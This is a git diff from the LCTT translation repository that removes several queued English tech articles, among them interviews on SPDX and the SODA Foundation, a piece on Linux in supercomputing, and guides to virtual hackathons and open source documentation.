today we have with us, once again, Kate Stewart, Senior Director of Strategic Programs at Linux Foundation. So let’s start with SPDX. Tell us, what’s new going on in there in this specification? - -Kate Stewart: Well, the SPDX specification just a month ago released auto 2.2 and what we’ve been doing with that is adding in a lot more features that people have been wanting for their use cases, more relationships, and then we’ve been working with the Japanese automotive-made people who’ve been wanting to have a light version. So there’s lots of really new technology sitting in the SPDX 2.2 spec. And I think we’re at a stage right now where it’s good enough that there’s enough people using it, we want to probably take it to ISO. So we’ve been re-formatting the document and we’ll be starting to submit it into ISO so it can become an international specification. And that’s happening. - -Swapnil Bhartiya: Can you talk a bit about if there is anything additional that was added to the 2.2 specification. Also, I would like to talk about some of the use cases since you mentioned the automaker. But before that, I just want to talk about anything new in the specification itself. - -Kate Stewart: So in the 2.2 specifications, we’ve got a lot more relationships. People wanted to be able to handle some of the use cases that have come up from containers now. And so they wanted to be able to start to be able to express that and specify it. We’ve also been working with the NTIA. Basically they have a software bill of materials or SBoM working groups, and SPDX is one of the formats that’s been adopted. And their framing group has wanted to see certain features so that we can specify known unknowns. So that’s been added into the specification as well. - -And then there are, how you can actually capture notices since that’s something that people want to use. The license has called for it and we didn’t have a clean way of doing it and so some of our tool vendors basically asked for this. Not the vendors, I guess there are partners, there are open source projects that wanted to be able to capture this stuff. And so we needed to give them a way to help. - -We’re very much focused right now on making sure that SPDX can be useful in tools and that we can get the automation happening in the whole ecosystem. You know, be it when you build a binary to ship to someone or to test, you want to have your SBoM. When you’ve downloaded something from the internet, you want to have your SBoM. When you ship it out to your customer, you want to be able to be very explicit and clear about what’s there because you need to have that level of detail so that you can track any vulnerabilities. - -Because right now about, I guess, 19… I think there was a stat from earlier in the year from one of the surveys. And I can dig it up for you if you’d like, but I think 99% of all the code that was scanned by Synopsys last year had open source in it. And of which it was 70% of that whole build materials was open source. Open source is everywhere. And what we need to do is, be able to work with it and be able to adhere to the licenses, and transparency on the licenses is important as is being able to actually know what you have, so you can remediate any vulnerabilities. - -Swapnil Bhartiya: You mentioned a couple of things there. One was, you mentioned tooling. So I’m kind of curious, what sort of tooling that is already there? Whether it’s open source or open source be it basically commercialization that worked with the SPDX documents. - -Kate Stewart: Actually, I’ve got a document that basically lists all of these tools that we’ve been able to find and more are popping up as the day goes by. We’ve got common tools. Like, some of the Linux Foundation projects are certainly working with it. Like FOSSology, for instance, is able to both consume and generate SPDX. So if you’ve got an SPDX document and you want to pull it in and cross check it against your sources to make sure it’s matching and no one’s tampered with it, the FOSSology tool can let you do that pretty easily and codes out there that can generate FOSSology. - -Free Software Foundation Europe has a Lindt tool in their REUSE project that will basically generate an SPDX document if you’re using the IDs. I guess there’s actually a whole bunch more. So like I say, I’ve got a document with a list of about 30 to 40, and obviously the SPDX tools are there. We’ve got a free online, a validator. So if someone gives you an SPDX document, you can paste it into this validator, and it’ll tell you if it’s a valid SPDX document or not. And we’re looking to it. - -I’m finding also some tools that are emerging, one of which is decodering, which we’ll be bringing into the Act umbrella soon, which is looking at transforming between SPDX and SWID tags, which is another format that’s commonly in use. And so we have tooling emerging and making sure that what we’ve got with SPDX is usable for tool developers and that we’ve got libraries right now for SPDX to help them in Java, Python and Go. So hopefully we’ll see more tools come in and they’ll be generating SPDX documents and people will be able to share this stuff and make it automatic, which is what we need. - -Another good tool, I can’t forget this one, is Tern. And actually Tern, and so what Tern does is, it’s another tool that basically will sit there and it will decompose a container and it will let you know the bill of materials inside that container. So you can do there. And another one that’s emerging that we’ll hopefully see more soon is something called OSS Review Toolkit that goes into your bill flow. And so it goes in when you work with it in your system. And then as you’re doing bills, you’re generating your SBoMs and you’re having accurate information recorded as you go. - -As I said, all of this sort of thing should be in the background, it should not be a manual time-intensive effort. When we started this project 10 years ago, it was, and we wanted to get it automated. And I think we’re finally getting to the stage where it’s going to be… There’s enough tooling out there and there’s enough of an ecosystem building that we’ll get this automation to happen. - -This is why getting it to ISO and getting the specification to ISO means it’ll make it easier for people in procurement to specify that they want to see the input as an SPDX document to compliment the product that they’re being given so that they can ingest it, manage it and so forth. But by it being able to say it’s an ISO standard, it makes the things a lot easier in the procurement departments. - -OpenChain recognized that we needed to do this and so they went through and… OpenChain is actually the first specification we’re taking through to ISO. But for SPDX, we’re taking it through as well, because once they say you need to follow the process, you also need some for a format. And so it’s very logical to make it easy for people to work with this information. - -Swapnil Bhartiya: And as you’ve worked with different players, different of the ecosystem, what are some of the pressing needs? Like improve automation is one of those. What are some of the other pressing needs that you think that the community has to work on? - -Kate Stewart: So some of the other pressing needs that we need to be working on is more playbooks, more instructions, showing people how they can do things. You know, we figured it out, okay, here’s how we can model it, here’s how you can represent all these cases. This is all sort of known in certain people’s heads, but we have not done a good job of expressing to people so that it’s approachable for them and they can do it. - -One of the things that’s kind of exciting right now is the NTIA is having this working group on these software bill of materials. It’s coming from the security side, but there’s various proof of concepts that are going on with it. One of which is a healthcare proof of concept. And so there’s a group of about five to six device manufacturers, medical device manufacturers that are generating SBoMs in SPDX and then there are handing them into hospitals to go and be able to make sure they can ingest them in. - -And this level of bringing people up to this level where they feel like they can do these things, it’s been really eye-opening to me. You know, how much we need to improve our handholding and improve the infrastructure to make it approachable. And this obviously motivates more people to be getting involved. From the vendors and commercial side, as well as the open source, but it wouldn’t have happened, I think, to a large extent for SPDX without this open source and without the projects that have adopted it already. - -Swapnil Bhartiya: Now, just from the educational awareness point of view, like if there’s an open source project, how can they easily create SBoM documents that uses the SPDX specification with their releases and keep it synced? - -Kate Stewart: That’s exactly what we’d love to see. We’d love to see the upstream projects basically generate SPDX documents as they’re going forward. So the first step is to use the SPDX license identifiers to make sure you understand what the licensing should be in each file, and ideally you can document with eTags. But then there’s three or four tools out there that actually scan them and will generate an SPDX document for you. - -If you’re working at the command line, the REUSE Lindt tool that I was mentioning from Free Software Foundation Europe will work very fast and quickly with what you’ve got. And it’ll also help you make sure you’ve got all your files tagged properly. - -If you haven’t done all the tagging exercising and you wonder [inaudible 00:09:40] what you got, a scan code works at the command line, and it’ll give you that information as well. And then if you want to start working in a larger system and you want to store results and looking things over time, and have some state behind it all so like there’ll different versions of things over time, FOSSology will remember from one version to another and will help you create these [inaudible 00:10:01] off of bill materials. - -Swapnil Bhartiya: Can you talk about some of the new use cases that you’re seeing now, which maybe you did not expect earlier and which also shows how the whole community is actually growing? - -Kate Stewart: Oh yeah. Well, when we started the project 10 years ago, we didn’t understand containers. They weren’t even not on the raw mindset of people. And there’s a lot of information sitting in containers. We’ve had some really good talks over the last couple of years that illustrate the problems. There was a report that was put out from the Linux Foundation by Armijn Hemel, that goes into the details of what’s going on in containers and some of the concerns. - -So being able to get on top of automating, what’s going on with concern inside a container and what you’re shipping and knowing you’re not shipping more than you need to, figuring out how we can improve these sorts of things is certainly an area that was not initially thought about. - -We’ve also seen a tremendous interest in what’s going on in IOT space. And so that you need to really understand what’s going on in your devices when they’re being deployed in the field and to know whether or not, effectively is vulnerability going to break it, or can you recover? Things like that. The last 10 years we’ve seen tremendous spectrum of things we just didn’t anticipate. And the nice thing about SPDX is, you’ve got a use case that we’re not able to represent. If we can’t tell you how to do it, just open an issue, and we’ll start trying to figure it out and start to figure if we need to add fields in for you or things like that. - -Swapnil Bhartiya:  Kate, thank you so much for taking your time out and talking to me today about this project. --------------------------------------------------------------------------------- - -via: https://www.linux.com/audience/developers/role-of-spdx-in-open-source-software-supply-chain/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 diff --git a/sources/talk/20200730 SODA Foundation- Autonomous data management framework for data mobility.md b/sources/talk/20200730 SODA Foundation- Autonomous data management framework for data mobility.md deleted file mode 100644 index d24d523369..0000000000 --- a/sources/talk/20200730 SODA Foundation- Autonomous data management framework for data mobility.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (SODA Foundation: Autonomous data management framework for data mobility) -[#]: via: (https://www.linux.com/audience/developers/soda-foundation/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -SODA Foundation: Autonomous data management framework for data mobility -====== - -SODA Foundation is an open source project under Linux Foundation that aims to establish an open, unified, and autonomous data management framework for data mobility from the edge, to core, to cloud. We talked to Steven Tan, SODA Foundation Chair, to learn more about the project. - -_Here is a transcript of the interview:_ - -Swapnil Bhartiya: Hi, this is Swapnil Bhartiya, and today we have with us Steven Tan, chair of the SODA foundation. First of all, welcome to the show. -Steven Tan: Thank you. - -Swapnil Bhartiya: Tell us a bit about what is SODA? -Steven Tan: The foundation is actually a collaboration among vendors and users to focus on data management for, how do you call, autonomous data mesh management. And the point of this whole thing is how do we serve the users? Because a lot of our users are getting a lot of data challenges, and that’s what this foundation is for. To get users and vendors together to help to address these data challenges. - -Swapnil Bhartiya: What kind of data are we talking about? -Steven Tan: The data that we’re talking about is referring to anything like data protection, data governance, data replication, data copy management and stuff like that. And also data integration, how to connect the different data silos and stuff. - -Swapnil Bhartiya: Right. But are we talking about enterprise data or are we talking consumer data? Like there is a lot of data with Facebook, Google, and Gmail, and then there are a lot of enterprise data, which companies … Sorry, as an enterprise, I might put something on this cloud, I can put it on this cloud. So can you please clarify what data are we talking about? -Steven Tan: Actually, the data that we’re talking about is … It depends on the users. There’re all kinds of data. Like for example, I mean, in the keynote that I gave two days ago, the example I gave was from Toyota. So Toyota use case is actually car data. So car data refers to things like the car sensor data, videos, map data and stuff. And then we have users like China Unicom. I mean, they have enterprise companies going to the cloud and so on. So they’ve all kinds of enterprise data over there. And then we also have other users like Yahoo Japan, and they have like a website. So the data that you’re talking about is web data, consumer data and stuff like that. So it’s across the board. - -Swapnil Bhartiya: Oh, so it’s not as specific to an industry or any space or sector, okay. But why do you need it? What is the problem that you see in the market and in the current sphere that you’re like, hey, we should create something like that? -Steven Tan: So the problem that came, I mean the reason why all these companies came together is that they are building data centers that are from small to big. But a lot of the challenges that you have is like, it’s hard for a single project to address. It’s not like a business where we have a specific problem and then we need this to be solved and so on, it’s not like that. A lot of it is like, how do you connect the different pieces together in the data center together? -So there’s nothing like, no organization like that that can help them solve this kind of problem. Like how do you have, in order to address the data of … Or how do you address things like taking care of data protection and data privacy at the same time? And at the same time, you want to make sure that this data can be governed properly. So there isn’t any single organization that can help to take care of this kind of stuff, so we’re helping these users understand their problems and then come together and then we plan projects and roadmaps based on their problems and try to address them through these projects in the SODA foundation. - -Swapnil Bhartiya: And you gave an example of data from the cars and all these things. Does that also mean that open source has helped solving a lot of problems by breaking down a lot of silos so that there’s a lot of interaction between different silos, which were like earlier separated and isolated? Today, as you mentioned, we are living in a data driven world. No matter what we do all the way from the Ring, to what we are doing right now, talking to each other, to the product that we’ll create in the end. But most of this data is living in their own silos. There may be a lot of value in that data, which cannot be extracted because one, it is locked into the silos. The second problem is that these days, data is kind of becoming the next oil. These companies are trying to capture all the data, irrespective of the fact of what value do they see in that data today? And by leveraging machine learning and deep learning, they can in the future … So how do you look at that, and how is SODA foundation going to break those silos, without compromising on our privacy, yet allow companies … Because the fact is, as much as I prefer my privacy, I also want Google Maps to tell me the fastest route where I want to go. -Steven Tan: Right. So I think there are certain, I mean, there are different levels of privacy that we’re going to take care of. And in terms of like, first of all, there are all kinds of … I mean, in terms of the different countries or different States or different provinces like in different countries, there are different kinds of regulations and so on. So first of all, like the data silos you talk about. Yes, that’s one of the key problems that we’re trying to solve. How to connect all the different data silos so as to reduce fragmentation, and then try to minimize the so called dark data that you’re talking about, and then extract all the values over there. So that’s one of the things that we try to get here. I mean, we try to connect all the different pieces, like in the different … The data may be sitting in the edge in the data center or different data centers and in the cloud. We try to connect all these pieces together. - -I mean, that’s one of the first things that we tried to do. And then we tried to have data policies. I think this is a critical piece of things that a lot of the solutions out there don’t address. You have data policies, but it may be the data policies just for a single vendor solution. But once the data gets out, that solution then is out of control. So what we’re trying to do here is say, how do you have data policies across different solutions, so no matter where the data is it’s governed the same way, consistently? That’s the key. So then you can talk about how can you really protect the data in terms of privacy or govern the data or control the data? And in terms of the, I mentioned about the regions, right? So you know where the data is, and you know what kind of regulations that need to be taken care of and you apply it right there. That’s how it should work. - -Swapnil Bhartiya: When we look at the kind of a scenario you talked about, I see it as two-fold. One is there is a technology problem and the second is people problem. So is SODA foundation going to deal with both, or are you going to just deal with the technology aspect of it? -Steven Tan: The technology part that we talk about, we try to define in terms of the API and so on to all the data policies and so on, and try to get as many companies to support this as possible. And then the next thing that we try to do is actually try to work with standards organizations to try to make this into a standard. I mean, that’s what we’re trying to do here. - -And then government aspects, there are certain organizations that we are talking to. Like there’s the CESI, it’s China Electronic Standards organizations that we’re talking to that’s trying to work things into their … Actually, I’m not sure about China, because it’s, I mean, we don’t know about their sphere of influence within the CSI and so on. And then for the industry standards, there’s [inaudible 00:09:05] and so on, we’re trying to work with them and trying to get it to work. - -Swapnil Bhartiya: Can we talk about the ecosystem that you’re trying to build around SODA foundation? One would be the participants who are actually contributing either the code or the vision, and then the users community who would actually be benefiting from it? -Steven Tan: So the ecosystem that we are trying to build, that’s the core part, which is actually the framework. So the framework, I mean, this part will be more of the data vendors or the storage vendors that will be involved in trying to build this ecosystem. And then the outer part, what I call the outer part of the ecosystem will be things like the platforms. Things like Kubernetes, VMware, all these different vendors, and then networking kind of stuff that you need to take care of like the big data analytics and stuff. - -And then for the users, actually, if you can see from the SODA end-user advisory committee, I mean, that’s where most of our users are participating in the communication. So most of these users, I mean, they are from different regions and different countries and different industries. So we try to serve, I mean, whichever participant is interested in, they can participate in this thing. But the main thing is that because they may be from different industries, but actually most of the issues that they have is still the same thing. So there are some commonalities among all these users. - -Swapnil Bhartiya: We are in the middle of 2020, because of COVID-19 everything has slowed down, things have changed. What does your roadmap, what does your plan look like? The structure, the governance and the plan for ’21 or end of the year? -Steven Tan: We are very, how do you call it? Very community-driven or focused kind of organization. We hold a lot of meetups and events and so on where we get together the users and the vendors and so on and the community in general. So with this COVID-19 thing, a lot of the plans has been upset. I mean, it’s in chaos right now. So most of the things are like what everybody is doing, moving online. So we are having some webinars and stuff, even as of right now when we are talking, we are having a mini summit going on with the Open Source Summit North America right now. - -So for the rest of this year, most of our events will be online. We’re going to have some webinars and some meetups, you can find it out from our website. And the other plans that we have is that we are going to have, we just released the SODA federal release, which is the 1.0 release. And through the end of this year, we’re going to have two more releases, the G release and the H release at the end of this year. G release is going to be in September, and H is in the end of the year. And we’re trying to engage our users with things like the POC testing for the federal. Because each release that we have, we try to get them to do the testing, and then so that’s the way of them trying to provide feedback to us. Whether that works for them or how can we improve to make the code work for what they need. - -Swapnil Bhartiya: Awesome. So thank you so much for taking your time out and explaining more about SODA foundation, and I look forward to talking to you again because I can see that you have a very exciting pipeline ahead. So thank you. -Steven Tan: Thank you, thank you very much. --------------------------------------------------------------------------------- - -via: https://www.linux.com/audience/developers/soda-foundation/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 diff --git a/sources/talk/20200731 Linux dominates supercomputing.md b/sources/talk/20200731 Linux dominates supercomputing.md deleted file mode 100644 index 6648bcfba1..0000000000 --- a/sources/talk/20200731 Linux dominates supercomputing.md +++ /dev/null @@ -1,76 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Linux dominates supercomputing) -[#]: via: (https://www.networkworld.com/article/3568616/linux-dominates-supercomputing.html) -[#]: author: (Sandra Henry-Stocker https://www.networkworld.com/author/Sandra-Henry_Stocker/) - -Linux dominates supercomputing -====== -The Linux operating system runs all 500 of the world’s fastest supercomputers, which help to advance artificial intelligence, machine learning and even COVID-19 research. -Wikipedia - -In addition to all its other successes, Linux dominates supercomputing: All 500 of the worlds fastest supercomputers run Linux, and that has been the case since November 2017, according to the [TOP500][1] organization, which has been ranking the 500 most powerful computer systems since 1993. (A graph of Linux' ascension is available on [here][2].) - -How did this happen? - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][3] - -### A little history - -Linux began life in 1991 as the personal project of 21-year-old Finnish student Linus Torvalds. I first became aware of it several years later while working at Johns Hopkins University’s physics and astronomy department where I managed the department’s network and a number of servers with the help of a couple grad students. - -At the time, I was intrigued by Linux, but couldn’t imagine how dominant the OS would become simply because its source code was available to anyone who wanted to work with it. I could not forsee that a significant group of large companies would grasp its value, work together and innovate to make Linux what it is today. Intense collaboration was key to this success, including contributions from countless individuals and organizations that includes IBM, Intel, NVIDIA, Red Hat, Samsung, SUSE and many others. (Browsing the [corporate members of the Linux Foundation][4] is likely to make your jaw drop.) - -The success of Linux can also be attributed to the fact that it is open source, non-proprietary, and extendable. - -### The TOP500 - -Twice a year, in June and November, TOP500 releases it a list of the 500 most powerful computer systems ranked by their performance on something called the [LINPACK Benchmark][5], which calls for the computer being tested to solve a dense system of linear equations. - -I have heard it said, though not been able to verify, that Linux runs on more than 90% of public clouds, more than 60% of embedded systems and IoT devices, as much as 99% of supercomputers and more than 80% of smartphones. If these claims are even close to the truth, it attests to the success and versatility of Linux - -In [the most recent TOP500 ranking][6], a Japanese supercomputer name [Fugaku][7] (derived from an alternate name for Mount Fuji) has taken the top spot and pushed the former leaders down a rank. Fugaku was co-developed by Riken and Fujitsu and uses Fujitsu's 48-core A64FX ARM chip. This is the first time a computer based on ARM processors has topped the list. - -The computer was fully assembled only in May but has already helped fight COVID-19 by sorting through more than 2,000 drugs that might effectively block the virus and found a dozen that show promise. - -### Containerization, AI and ML - -Recently I had a chance to discuss Linux with Stefanie Chiras, vice president and general manager of the Red Hat Enterprise Linux business unit. She sees Linux as tightly linked to supercomputing because it provides the scale and flexibility to support high-performance computing and exascale computing systems – those that are capable of calculating at least 1,018 floating point operations per second (1 exaFLOPS). She also sees Linux as adding to the ongoing development of artificial intelligence and machine learning. - -Chiras expects that containerization will enable more and more researchers and analysts to benefit from supercomputing power. And, as someone who has provided support to both scientists and analysts over the past few decades, I can appreciate what a difference this will make in their work. - -In discussing supercomputers, Chiras pointed out that, beyond having a Linux operating system, the top three fastest – Fugaku, Summit and Sierra – are all built from commercial hardware. Summit and Sierra are Power Systems-based, while Fugaku is the first Arm-powered supercomputer to top the list. The days of purpose-built, custom hardware and software in supercomputing could be over even though new and demanding workloads like AI and complex modeling require greater and greater power. - -(Chiras also wasn’t shy about mentioning that [Red Hat Enterprise Linux][8] is running on four of the top 10 supercomputers: the top three plus number nine, [Marconi-100][9].) - -The character of open source and the willingness of many companies to recognize its value and work together to develop it have made Linux the top OS for both supercomputers and micro-devices. We can expect continued improvements in how the OS is deployed – including getting supercomputing into the hands of a lot more scientists and engineers – as we move forward. As a person who has spent close to 40 years working with Unix and Linux systems, I couldn’t be more pleased. - -Join the Network World communities on [Facebook][10] and [LinkedIn][11] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3568616/linux-dominates-supercomputing.html - -作者:[Sandra Henry-Stocker][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Sandra-Henry_Stocker/ -[b]: https://github.com/lujun9972 -[1]: http://TOP500.org -[2]: https://www.top500.org/statistics/details/osfam/1/ -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: https://www.linuxfoundation.org/membership/members/ -[5]: https://www.top500.org/project/linpack -[6]: https://www.networkworld.com/article/3563766/the-10-fastest-supercomputers-are-led-by-one-28x-faster-than-the-rest.html -[7]: https://www.fujitsu.com/global/about/innovation/fugaku/ -[8]: https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux -[9]: https://www.hpc.cineca.it/hardware/marconi100 -[10]: https://www.facebook.com/NetworkWorld/ -[11]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200801 8 tips for running a virtual hackathon.md b/sources/talk/20200801 8 tips for running a virtual hackathon.md deleted file mode 100644 index 0ed2d07296..0000000000 --- a/sources/talk/20200801 8 tips for running a virtual hackathon.md +++ /dev/null @@ -1,123 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (8 tips for running a virtual hackathon) -[#]: via: (https://opensource.com/article/20/8/virtual-hackathon) -[#]: author: (Jason Blais https://opensource.com/users/jasonblais) - -8 tips for running a virtual hackathon -====== -Reach new developers and engage with your existing community through -virtual hackathons. -![Two people chatting via a video conference app][1] - -Hackathons are events where developers, product managers, designers, and others come together to tackle problems over a short time period. They have become increasingly popular over the last 15 years after [OpenBSD ran the first hackathon in June 1999][2]. - -These events provide several benefits—greater engagement across the community, innovation and new ideas, awareness for the organizers, and networking opportunities for participants. - -[Mattermost][3], an open source messaging platform for DevOps teams, has also run and participated in several hackathons to engage with the open source community. So far, in 2020, we participated in a [hackathon to overcome the challenges of COVID-19][4] and ran a [hackfest to create open source chatbots for developer workflows][5]. Both had thousands of participants and were run completely virtually. - -We've come a long way from our [first hackathon in 2016][6] that had only 20 participants to building a [step-by-step guide for running a virtual hackathon][7], and we've learned many valuable lessons. - -If you are considering running a virtual hackathon, here are eight tips to keep in mind: - -### Choose your hackathon theme - -Before you begin to plan your hackathon, you'll need to choose a theme or a topic for it first. - -Is there a specific business or social problem you're trying to solve? An industry you want to reach? Technologies you want to explore together with your community? - -Choosing the theme at the start is important, as it gives you a clear focus for the rest of your planning—which communities to reach out to, how to determine logistics, what materials to prepare, and other details. It also inspires your community to work on solving the specific kinds of problems you're organizing around. - -### Decide dates for the hackathon early - -With 365 days in a year, you'd think it'd be easy to find one on which to hold an event, but it can actually be a challenge to schedule even a virtual hackathon. The most important thing is not to rush the preparation. Ideally, you should schedule the hackathon at least two months out. This gives you enough time to promote and organize it and gives your participants enough time to prepare for it—whether it's researching the hackathon topic or setting aside time for it on their calendars. - -Here are a few quick tips when trying to decide when to run hackathons: - - * Avoid overlap with major holidays in the countries you're trying to reach. If the event is global, then avoid major holidays in the countries where you have bigger communities. - * Avoid overlap with significant company or community events that may act as a distraction during the hackathon, such as major product releases or developer conferences. - * Avoid starting the hackathon on a Friday, especially if you plan to reach developers around the world. If you're located in the Western Hemisphere and hold a hackathon kick-off call on Friday, those in Europe and Asia will either have to join in late Friday night or Saturday morning, effectively meaning the hackathon starts on a weekend in those areas. It is typically better to start on a Thursday instead. - - - -Given the hackathon is online, there is also an opportunity to extend it beyond a standard 48-hour event. We have found that running a three- or four-day event, for instance, results in much higher quality submissions that are closer to completion. - -### Identify key team members to partner with during the hackathon - -It is much easier to promote and organize the event when you have someone you can collaborate with. At a minimum, find one or two developers who can act as leaders during the event, mentoring newcomers and answering questions from the participants. They can also be your point of contact for technical support before and during the event. - -You should also consider if you need a partner to run operations such as scheduling calls, and a partner to create the event marketing materials. - -Moreover, once you've picked the theme and dates of your event, reach out to your community and ask if anyone is open to help. Many may be interested. Acting as a hackathon organizer and mentor also provides a great experience for community members themselves. - -### Produce a workback schedule - -Start by listing everything you and your hackathon partners may need to do before, during, and after the hackathon. And I do mean everything—from deciding which platform to host your hackathon on to which video conferencing tool to use for presentations to what prizes to give out. The more comprehensive your workback schedule is, the better prepared you will be, and the more successful the hackathon will be. - -To help you get started, check out the Mattermost ["How to Run a Hackathon" playbook][7] with key dates and activities that you can use for inspiration. - -### Create a code of conduct - -Code of conduct is important to promote healthy behavior within your community. It establishes what is accepted by participants and helps create a safe and welcoming environment for everyone. - -The same is true for hackathons. The code of conduct establishes the rules and actions taken when the rules are broken. Include a clear contact or place to report harassment from the participants. Often, the members you're partnering with from tip #3 will also help enforce the code of conduct as needed. - -To learn more about codes of conduct, including ways to enforce them, see [this excellent guide][8]. - -### Make one landing page for the hackathon - -During the hackathon, there is a lot going on. People ask questions, share progress, and team up with others. Especially when running a hackathon with hundreds (or thousands!) of participants, it can quickly get chaotic. - -That is why a single hackathon landing page is critical. This landing page should contain all the information community members need to know, including resources to get started, where to ask questions, and how to create a submission. Updates can also be communicated in other channels like Twitter, but they should always be reflected on the hackathon's landing page. Your landing page is the source of truth. - -Plus, make sure to include plenty of information for first-time participants. If you've run a few events, a lot of the information you share is familiar to you and previous participants. However, everything is new and often confusing for first-time participants, so make sure to keep them in mind when building the landing page. - -### Plan for external promotion - -A common reason to run a hackathon is to reach new users and communities who have heard of your project before. Therefore, announcing and promoting the hackathon beyond just your social channels is very important. However, simply spamming other communities and pages is not just ineffective, but also disrespectful. - -Go back to point #1, where you selected the hackathon theme. Are there certain technologies that are relevant to it? Or industries?  - -If so, study where those communities exist and reach out in their respective channels. Even better, find their community manager and share the hackathon with them first before sharing with the wider community. - -### Include social interaction time - -The biggest challenge we've found with virtual hackathons as compared to physical hackathons are the social aspects. Since people are not working in the same rooms together anymore, building connections and collaborating with others takes extra effort. - -Make sure to add social activities throughout the event dates, accounting for different time zones. Include activity feeds where participants can share updates on what they're working on, drop-in social hours over video, coffee times, pizza hours, and more. - -Taking the extra step to ensure there are opportunities for social interaction creates a more engaging experience for everyone involved. - -### Ready to run your first virtual hackathon? - -Running a virtual hackathon is not easy, but if you prepare for it well and use the above tips to plan it, you will be set up for success, and hopefully have lots of fun along the way! There is also an [excellent guide from HackerEarth][9] that you can use as a reference. - -Ready to run your first virtual hackathon? Then use the Mattermost ["How to Run a Hackathon" playbook][7] to guide your planning and read about the [Mattermost Bot Hackfest][5] for inspiration. - -Thank you also to Jesús Espino and Justin Reynolds for their valuable feedback on this article. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/virtual-hackathon - -作者:[Jason Blais][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jasonblais -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/chat_video_conference_talk_team.png?itok=t2_7fEH0 (Two people chatting via a video conference app) -[2]: http://www.openbsd.org/hackathons.html -[3]: http://mattermost.com/ -[4]: https://mattermost.com/blog/vencealvirus-virtual-hackathon/ -[5]: https://mattermost.com/blog/mattermost-bot-hackfest-winners/ -[6]: https://mattermost.com/blog/mattermost-holiday-hackfest-2016/ -[7]: https://handbook.mattermost.com/contributors/contributors/how-to-run-a-hackathon -[8]: https://opensource.guide/code-of-conduct/ -[9]: https://www.hackerearth.com/community-hackathons/resources/e-books/guide-to-organize-hackathon diff --git a/sources/talk/20200806 5 tips for making documentation a priority in open source projects.md b/sources/talk/20200806 5 tips for making documentation a priority in open source projects.md deleted file mode 100644 index e381ee7276..0000000000 --- a/sources/talk/20200806 5 tips for making documentation a priority in open source projects.md +++ /dev/null @@ -1,68 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 tips for making documentation a priority in open source projects) -[#]: via: (https://opensource.com/article/20/8/documentation-open-source-projects) -[#]: author: (Ray Paik https://opensource.com/users/rpaik) - -5 tips for making documentation a priority in open source projects -====== -Documentation is as important as code, so make sure you treat it that -way. Here's how. -![Files in a folder][1] - -[Open source software][2] is now mainstream; long gone are the days when open source projects attracted developers alone. Nowadays, users across numerous industries are active consumers of open source software, and you can't expect everyone to know how to use the software just by reading the code. - -Even for developers (including those with plenty of experience in other open source projects), good documentation serves as a valuable onboarding tool when people join a community. People who are interested in contributing to a project often start by working on documentation to get familiar with the project, the community, and the community workflow. - -### Common challenges with documentation in open source - -Although everyone agrees that documentation is important and needs to be done, some of the ways we do it result in poor quality and lack of consistency across different parts of documentation in the project. For example, when developers are too focused on code, they don't start working on documentation until the last minute (e.g., right before the release). And all too often, documentation tasks are done by volunteers, people who have a hard time saying "no." To make things worse, people may forget about the documentation after the release, so they never change or improve it, and the vicious cycle repeats. - -### 5 best practices - -We have been involved in documentation in a number of open source projects at [Linux Foundation Networking][3] and [GitLab][4] over the past few years. Below, we're sharing some things we've learned that we hope will help make documentation a first-class citizen in your open source project. - - 1. **Value contributions to documentation just as much as code contributions:** A lot of the focus in many open source communities tends to be on code. One easy way to make sure documentation contributions are valued by everyone is to give equal credit to documentation and code in your community metrics. It should not matter whether a commit, merge request, or pull request is for code or documentation. In addition, when you do community recognition, include key accomplishments by the people who contribute to documentation. - - 2. **Put documentation and code in the same project repo:** We highly recommend that a project's code and documentation both reside in the same repository. (A good way is to make `/doc` or `/docs` a top-level directory in the repository.) For one, this makes documentation easy for anyone to find. More importantly, your documentation will be on equal footing as code and other project resources when everything is in the same repository. - - 3. **Make documentation a requirement for a merge or release milestone:** If your project has a lengthy release cycle (e.g., three to six months or more), we highly recommend having interim checkpoints for documentation (like this [example][5] from the ONAP community). This ensures documentation work is not put off until right before the release, and instead, everyone works on documentation throughout the release cycle. If it's feasible for your community, you could make documentation a required step for all code contributions that will impact users (see this [example][6] from GitLab). - - 4. **Have a consistent contribution process for code and documentation:** We also recommend having a consistent contribution process and using the same toolchains for code and documentation. As we noted earlier, many new community members start 